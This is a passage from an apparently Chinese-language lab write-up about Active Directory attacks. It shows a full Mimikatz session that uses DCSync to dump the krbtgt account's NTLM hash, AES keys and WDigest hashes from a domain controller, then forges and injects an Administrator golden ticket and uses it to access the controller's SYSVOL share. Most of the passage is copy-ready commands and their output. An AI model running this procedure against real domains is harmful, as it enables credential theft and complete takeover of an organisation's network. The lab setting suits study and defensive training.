40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::whoami
* Process Token : {0;000003e7} 0 D 400792 NT AUTHORITY\SYSTEM S-1-5-18 (04g,27p) Primary
* Thread Token : no token

mimikatz # lsadump::dcsync /domain:whoamianony.org /user:krbtgt
[DC] 'whoamianony.org' will be the domain
[DC] 'DC.whoamianony.org' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 2021/2/22 16:17:48
Object Security ID : S-1-5-21-1315137663-3706837544-1429009142-502
Object Relative ID : 502

Credentials:
Hash NTLM: 6be58bfcc0a164af2408d1d3bd313c2a
ntlm- 0: 6be58bfcc0a164af2408d1d3bd313c2a
lm - 0: ab43ba0a41236b0b5a3c826d1dee53f1

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : WHOAMIANONY.ORGkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 77dd8d0b0d436b6df02303f0a5a98d95acda6f84144ea53525bfee5ffda45afb
aes128_hmac (4096) : aaeee8cffc1ade3061ce78b89237a7b8
des_cbc_md5 (4096) : 9b3446f829dfbf3e

* Primary:Kerberos *
Default Salt : WHOAMIANONY.ORGkrbtgt
Credentials
des_cbc_md5 : 9b3446f829dfbf3e

* Packages *
Kerberos-Newer-Keys

* Primary:WDigest *
01 aa1a78b7b9e6053e0c0b78e458765410
02 6c5df57f887bc3d5f85895ee484423a8
03 e767792a8488844421b85f1498aa145a
04 aa1a78b7b9e6053e0c0b78e458765410
05 6c5df57f887bc3d5f85895ee484423a8
06 4bb15029c53f07a3f68f6676e63c8d52
07 aa1a78b7b9e6053e0c0b78e458765410
08 878fe6e5401b0982f1c4bb242f1d11e5
09 878fe6e5401b0982f1c4bb242f1d11e5
10 667ee7bbd60ca0521f4760214554e7af
11 109614cfbadc0d0468a058d5a6a24be2
12 878fe6e5401b0982f1c4bb242f1d11e5
13 5acf15a1f74f759ae54b95c6c34024a0
14 109614cfbadc0d0468a058d5a6a24be2
15 84a3c35cdf393467d7e527a7ab636afe
16 84a3c35cdf393467d7e527a7ab636afe
17 b4f09dee7a2aa19baefe0786dd98c6fa
18 04749b8c26e440a5092559367a13bd29
19 eca314d2e54122d25e59413b262d565a
20 cb82b91c6231659cee1aa714bc5da056
21 1632005ebc366ac2a1e661b117172a31
22 1632005ebc366ac2a1e661b117172a31
23 9e99675df5f4944ea517a53c5b9c5bc5
24 03f79f50325c634c1998858ebd9a55dd
25 03f79f50325c634c1998858ebd9a55dd
26 9411d1a648a706c8c73de4ce6cce4e17
27 87c434b5df6d3a74941c0ee68ca4dc0c
28 1078e9e2cefd1b02c0f26cde57c50927
29 1fb6dd1f787034625fcc2635b15b39dd

其中最重要的是 krbtgt 的哈希:

1
Hash NTLM: 6be58bfcc0a164af2408d1d3bd313c2a

以及 AES256 密钥

1
aes256_hmac:77dd8d0b0d436b6df02303f0a5a98d95acda6f84144ea53525bfee5ffda45afb

使用 lsadump::dcsync 获取密钥后,在同一个 Mimikatz 进程中执行:

1
kerberos::golden /user:Administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /aes256:77dd8d0b0d436b6df02303f0a5a98d95acda6f84144ea53525bfee5ffda45afb /id:500 /groups:512,513 /ptt

Mimikatz 返回以下结果,表示票据生成并注入成功:

1
2
3
4
5
6
7
8
User      : Administrator
Domain : whoamianony.org (WHOAMIANONY)
User Id : 500
Groups Id : *512 513
ServiceKey: 77dd8d0b0d436b6df02303f0a5a98d95acda6f84144ea53525bfee5ffda45afb - aes256_hmac
-> Ticket : ** Pass The Ticket **

Golden ticket for 'Administrator @ whoamianony.org' successfully submitted for current session

退出 Mimikatz 后,在同一个 SYSTEM 命令行中执行 klist:

1
2
exit
klist

显示当前登录 ID 为 0:0x3e7,即 SYSTEM 会话,并缓存了以下 TGT:

alt text

再进一步请求具体服务票据并访问域资源,验证服务端是否接受该票据。

使用 klist get 请求域控文件共享服务的 Kerberos 服务票据:

1
klist get cifs/DC.whoamianony.org

命令返回:

1
已成功检索 cifs/DC.whoamianony.org 的票证。

再次查看票据缓存,可以看到新增的服务票据:

1
2
3
客户端: Administrator @ whoamianony.org
服务器: cifs/DC.whoamianony.org @ WHOAMIANONY.ORG
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96

alt text

最后访问域控上的 SYSVOL 共享:

1
dir \\DC.whoamianony.org\SYSVOL

访问成功并返回目录内容:

alt text

成功获取黄金票据并验证黄金票据可以在当前域中伪造域管理员身份并访问受 Kerberos 保护的域资源!

当然,经过事后了解:

黄金票据只是打开了大门,后续还有更多很深的东西值得去研究,,熬到五点了,不能继续看了,就这样结束吧!